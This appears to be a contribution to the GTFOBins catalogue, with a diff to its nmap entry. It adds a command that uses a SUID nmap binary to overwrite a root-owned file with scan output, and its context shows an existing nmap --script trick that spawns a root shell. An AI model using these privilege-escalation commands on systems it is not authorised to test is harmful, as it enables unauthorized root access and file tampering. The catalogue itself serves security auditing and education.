Adding another usage of Nmap's SUID

I came along with this method on stackoverflow while trying to execute commands using a SUID nmap binary, though `--script` failed me but this works. Could be enough to demonstrate effect of using SUID on Nmap. 

I've yet to come up with a way to over-write the contents of the system file according to what we want, with this we can only over-write files with nmap output.

```bash
sudo touch /etc/filecantbetouched
nmap 127.0.0.1 -oN=/etc/filecantbetouched
cat /etc/filecantbetouched
```

_gtfobins/nmap.md

@@ -108,4 +108,9 @@ functions:
         TF=$(mktemp)
         echo 'os.execute("/bin/sh")' > $TF
         ./nmap --script=$TF
+    - description: This will over-write files with nmap output, use with caution.
+      code: |
+        sudo touch /etc/filecantbetouched
+        nmap 127.0.0.1 -oN=/etc/filecantbetouched
+        cat /etc/filecantbetouched
 ---